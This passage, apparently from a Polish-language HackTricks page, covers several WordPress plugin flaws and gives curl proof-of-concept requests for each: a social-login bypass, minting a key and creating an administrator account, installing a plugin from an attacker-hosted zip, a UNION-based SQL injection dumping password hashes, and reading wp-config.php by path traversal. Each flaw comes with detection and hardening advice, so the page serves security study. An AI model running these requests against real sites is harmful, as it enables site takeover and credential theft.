Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Oczekiwane wskaźniki powodzenia
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* dla zaatakowanego użytkownika; kolejne żądania są uwierzytelnione.
Znajdowanie nazwy akcji
- Przeanalizuj motyw/plugin pod kątem rejestracji add_action('wp_ajax_nopriv_...', '...') w kodzie social login (np. framework/add-ons/social-login/class-social-login.php).
- Przeszukaj (grep) wystąpienia wp_set_auth_cookie(), get_user_by('email', ...) w handlerach AJAX.
Lista kontrolna wykrywania
- Logi webowe pokazujące nieautoryzowane POSTy do /wp-admin/admin-ajax.php z akcją social-login i id=
. - Odpowiedzi 200 z JSONem powodzenia bezpośrednio poprzedzające uwierzytelniony ruch z tego samego IP/User-Agent.
Wzmocnienie zabezpieczeń
- Nie wyprowadzaj tożsamości z danych od klienta. Akceptuj tylko adresy e-mail/ID pochodzące z zweryfikowanego provider token/ID.
- Wymagaj CSRF nonces i sprawdzeń uprawnień nawet dla helperów logowania; unikaj rejestrowania wp_ajax_nopriv_ chyba że absolutnie konieczne.
- Weryfikuj odpowiedzi OAuth/OIDC po stronie serwera; odrzucaj brakujących/nieprawidłowych providerów (bez fallbacku do POST id).
- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na krawędzi (zablokowanie podatnej akcji) do czasu naprawy.
Zachowanie po łacie (Jobmonster 4.8.0)
- Usunięto niebezpieczny fallback z $_POST['id']; $user_email musi pochodzić z zweryfikowanych gałęzi provider w switch($_POST['using']).
Nieautoryzowana eskalacja uprawnień przez wydawanie REST token/key na przewidywalnej tożsamości (OttoKit/SureTriggers ≤ 1.0.82)
Niektóre wtyczki udostępniają REST endpoints, które wydają wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli route uwierzytelnia się jedynie na podstawie łatwego do odgadnięcia atrybutu (np. username) i nie powiązuje klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, dowolny nieautoryzowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admin, akcje wtyczki → RCE).
- Podatna ścieżka (przykład): sure-triggers/v1/connection/create-wp-connection
- Błąd: akceptuje username, wydaje connection key bez current_user_can() lub rygorystycznej permission_callback
- Wpływ: pełne przejęcie poprzez powiązanie wygenerowanego klucza z wewnętrznymi uprzywilejowanymi akcjami
PoC – wygeneruj connection key i użyj go
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Dlaczego to jest podatne
- Wrażliwa REST route chroniona wyłącznie niską entropią potwierdzenia tożsamości (username) lub brakiem permission_callback
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalne obejście
Lista kontrolna wykrywania
- Przeszukaj kod pluginu pod kątem register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Każda route, która wydaje tokens/keys na podstawie tożsamości podanej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
- Szukaj kolejnych route, które akceptują wygenerowany token/key bez sprawdzeń capability po stronie serwera
Wzmocnienie
- Dla każdej uprzywilejowanej REST route: wymagaj permission_callback, który wymusza current_user_can() dla wymaganej capability
- Nie generuj długotrwałych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability przy użyciu
- Waliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → instalacja dowolnego pluginu bez uwierzytelnienia (FunnelKit Automations ≤ 3.5.3)
Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pomyślne sprawdzenie nonce jako zielone światło i pomija sprawdzenia capability dla uprzywilejowanych operacji (np. install/activate plugins), nieuwierzytelnieni atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored lub vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Lista kontrolna wykrywania
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce
Wzmocnienie
- Zawsze traktuj nonce jako tokeny CSRF tylko; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
- Wymagaj current_user_can('install_plugins') i current_user_can('activate_plugins') przed dotarciem do kodu instalatora
- Odrzucaj dostęp bez uwierzytelnienia; unikaj ujawniania nopriv AJAX actions dla uprzywilejowanych przepływów
SQLi bez uwierzytelnienia przez parametr s (search) w akcjach depicter-* (Depicter Slider ≤ 3.6.1)
Wiele akcji depicter-* pobierało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji.
- Parametr: s (search)
- Błąd: bezpośrednie konkatenowanie łańcuchów w klauzulach WHERE/LIKE; brak zapytań przygotowanych i sanitizacji
- Wpływ: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grepuj depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w zapytaniach SQL
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące parametr s
Hardening
- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera
- Dodaj ścisłą allowlistę dla s i normalizuj do oczekiwanego charset/length
Local File Inclusion bez uwierzytelnienia przez niezwalidowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze szablonu bez normalizacji/ograniczenia pozwala na odczyt dowolnych lokalnych plików, a czasem wykonanie kodu jeśli includowalne pliki PHP/logi zostaną załadowane do runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: brak normalizacji/allowlisty; path traversal dozwolony
- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w specyficznych środowiskach (log poisoning, includable PHP)
PoC – odczyt wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Lista kontrolna wykrywania
- Każdy handler łączący ścieżki żądań w include()/require()/read sinks bez ograniczenia przez realpath()
- Szukaj wzorców traversal (../) wychodzących poza zamierzony katalog templates
Wzmocnienie
- Wymuszaj szablony z allowlisty; rozwiąż ścieżki za pomocą realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base))
- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.